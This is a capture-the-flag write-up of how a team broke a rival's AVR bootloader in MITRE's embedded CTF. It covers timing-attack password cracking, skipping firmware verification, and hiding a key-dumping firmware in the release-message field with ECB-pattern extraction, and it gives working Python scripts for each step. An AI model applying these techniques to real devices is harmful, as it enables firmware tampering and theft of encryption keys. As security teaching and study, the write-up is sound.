Pwning River Hawk's Bootloader Without DPA or Glitching
Intro
For the past semester I’ve been participating in MITRE’s embedded CTF competition on the Sprite team (we came in second place, but captured the most flags overall). Now that the competition has finished up, I’m going to write up a few of the attacks we came up with.
Design
A protected firmware for River Hawk’s bootloader consists of 5 pieces of information inside a zlib compressed json. The firmware_size
field is a 2 byte unsigned integer representing the uncompressed size of the firmware. The version
field is a 2 byte unsigned integer representing the current version of the firmware. The hex_data
field holds the AES ECB encrypted copy of the given firmware followed by a null byte, the release message, and two more null bytes. The fid
field is the sha1 hash of the contents of the hex_data
field. Finally, the checksum
field is a sha1 hash that takes into account the version, the fid, and the AES key.
Breaking the readback tool
River Hawk’s bootloader implements authenticated readback via an 8 byte password sent over serial. This password is sent in the clear, so we were able to obtain the password from the readback logs. In addition, note that even without the readback logs the it would have still be possible to crack this password because it was vulnerable to a timing attack. The bootloader compared the received password to the correct password one byte at a time:
445 │ if(l == p_length){
446 │ for(int j = 0; j < p_length; j++){
447 │ if(pass[j] != t[j]){
448 │ UART1_putchar(ERROR); // Acknowledge the frame.
449 │ while(1)
450 │ {
451 │ __asm__ __volatile__("");
452 │ }
453 │ }
454 │ }
455 │ }
456 │ else{
457 │ UART1_putchar(ERROR); // Acknowledge the frame.
458 │ while(1)
459 │ {
460 │ __asm__ __volatile__("");
461 │ }
462 │ }
One could crack this password by measuring the amount of time it takes for the bootloader to reject the given password.
Once we obtained the password, we were able to use the readback tool in order to obtain AES ECB mode encrypted data from anywhere in the flash.
Bypassing the firmware verification
River Hawk’s bootloader only validates an uploaded firmware after receiving the whole firmware.
367 │ // Compare digest with fid
368 │ for(int i = 0; i < 20; ++i){
369 │ if(fid[i] != digest[i]){
370 │ UART1_putchar(ERROR); // Reject the firmware update and erase the flash
371 │ while(page != 0){
372 │ page -= SPM_PAGESIZE;
373 │ boot_page_erase_safe(page); // Erase all programed flash memory
374 │ }
375 │ while(1)
376 │ {
377 │ __asm__ __volatile__("");
378 │ }
379 │ }
380 │ }
This means that this code will only be executed after the bootloader exits the while(1) loop in charge of reading the firmware. The only way this happens is if:
357 │ if(frame_length == 0) //If last frame
358 │ break;
The code responsible for sending this frame of length 0 on the python side is:
151 | ser.write(struct.pack('>H', 0x0000))
By removing this line, the watchdog timer will reset the board and it will never verify the uploaded firmware. Note that this alone is not enough to upload a malicious firmware, because the firmware update functionality decrypts the received firmware. This means if one tried to upload a non-encrypted firmware, it would decrypt it and write gibberish to the flash.
Encrypting the malicious firmware
The next step is to encrypt the malicious firmware. We wrote a custom malicious firmware that would read the first 255 bytes of the EEPROM (where the AES key was stored) and dump it out over serial. This firmware was 586 bytes in size.
River Hawk’s bootloader enforces a restriction that the release message is less than 1000 bytes:
47 │ #Check if release message size bigger than 1KB
48 │ if len(msg) > 1000:
49 │ print 'Release message should less than 1kB'
50 │ else:
51 │ pass
Since our malicious firmware is less than 1000 bytes, we can insert our malicious firmware into the release message field of the given protected v3 firmware.
1 │ import json
2 │ import zlib
3 │ import intelhex
4 │ from cStringIO import StringIO
5 │ import hashlib
6 │ import base64
7 │
8 │ # Open up the protected binary that we have, and load it as json
9 │ with open("v3.bin") as f:
10 │ data = f.read()
11 │ data = zlib.decompress(data)
12 │ data = json.loads(data)
13 │
14 │ # Parse the intelhex
15 │ intelhexData = data['hex_data']
16 │ firmware = intelhex.IntelHex(StringIO(intelhexData))
17 │ # Get the intelhex as a binary
18 │ binFirmware = firmware.tobinstr()
19 │ print "Unmodified firmware length = {}".format(len(binFirmware))
20 │ # Remove the original release message which was padded on both sides with null bytes
21 │ firmwareWithoutRM = binFirmware[:binFirmware[:-2].rfind('\x00')]
22 │ print "Original RM: {}".format(binFirmware[binFirmware[:-2].rfind('\x00'):-1])
23 │ # Put the firmware without the release message into the intelhex firmware object
24 │ firmware.putsz(0x00, firmwareWithoutRM)
25 │
26 │ # Read in the evil firmware and put it into the intelhex firmware object
27 │ with open("evil.bin") as f:
28 │ evilBin = f.read()
29 │ print "Putting evilBin of len={} as the rm at index={}".format(len(evilBin), len(firmwareWithoutRM))
30 │
31 │
32 │ # Pad with \x11 to make it obvious where the evil firmware is inside the flash
33 │ firmware.putsz(len(firmwareWithoutRM), '\0'+'\x11'*63 + evilBin + '\x11'*63 + '\x00')
34 │
35 │
36 │ # Dump the firmware object
37 │ sio = StringIO()
38 │ firmware.write_hex_file(sio)
39 │ hex_data = sio.getvalue()
40 │
41 │ # Write it out to a file
42 │ with open("v3_evilRM.bin", "w") as f:
43 │ data['hex_data'] = hex_data
44 │ data = json.dumps(data)
45 │ data = zlib.compress(data)
46 │ f.write(data)
We then upload this firmware (bypassing verification checking as described above) and readback an encrypted copy of the firmware (bypassing password auth as described above). In the encrypted readback, we can identify the encrypted bootloader by looking for a sequence of three identical 16 byte chunks (the ‘\x00’+’\x11’*63), 37 unique 16 byte chunks (the malicious firmware), and three more identical 16 byte chunks (the ‘\x11’*63+’\x00’). For example, here is an output of xxd showing part of this pattern:
000003e0: e233 9935 8f4a a611 871c 1766 2599 2efa .3.5.J.....f%...
000003f0: f4ea 87e1 dad2 7077 d139 e243 fb56 bf71 ......pw.9.C.V.q
00000400: f4ea 87e1 dad2 7077 d139 e243 fb56 bf71 ......pw.9.C.V.q
00000410: f4ea 87e1 dad2 7077 d139 e243 fb56 bf71 ......pw.9.C.V.q
00000420: c6b9 8df2 12c9 ab31 611e f52d 64e8 ff8f .......1a..-d...
00000430: ca17 c3f5 5def 49f7 f365 4767 5cc2 7888 ....].I..eGg\.x.
0x3e0 corresponds to the chunk of ‘\x00’+’\x11’*7. 0x3f0, 0x400, and 0x410 correspond to ‘\x11’*48. 0x420 and on correspond to the encrypted malicious firmware. We extracted this data using a simple script:
1 │ from sys import argv
2 │
3 │ with open(argv[1]) as f:
4 │ data = f.read()
5 │
6 │ enc = data[eval(argv[2]):eval(argv[3])]
7 │
8 │ with open('encryptedEvil.bin', 'w') as f:
9 │ f.write(enc)
From there, we modify the given v3 firmware and swap in the encrypted malicious firmware. We upload this (bypassing the firmware verification checking as described above) and it executes thereby dumping the keys over serial.
Grabbing the flags
Once we have the keys, all of the flags are trivial.
-
We grab the rolllback flag by protecting a firmware that resets the version number to 0, then uploading the v1 firmware.
-
We grab the malicious firmware flag by protecting the malicious firmware and uploading it.
-
We grab the IP flag by decrypting the provided v1 firmware.
-
We grab the readback sniffer flag by decrypting the provided readback logs.
-
We grab the memory read flag by decrypting a previously taken encrypted readback.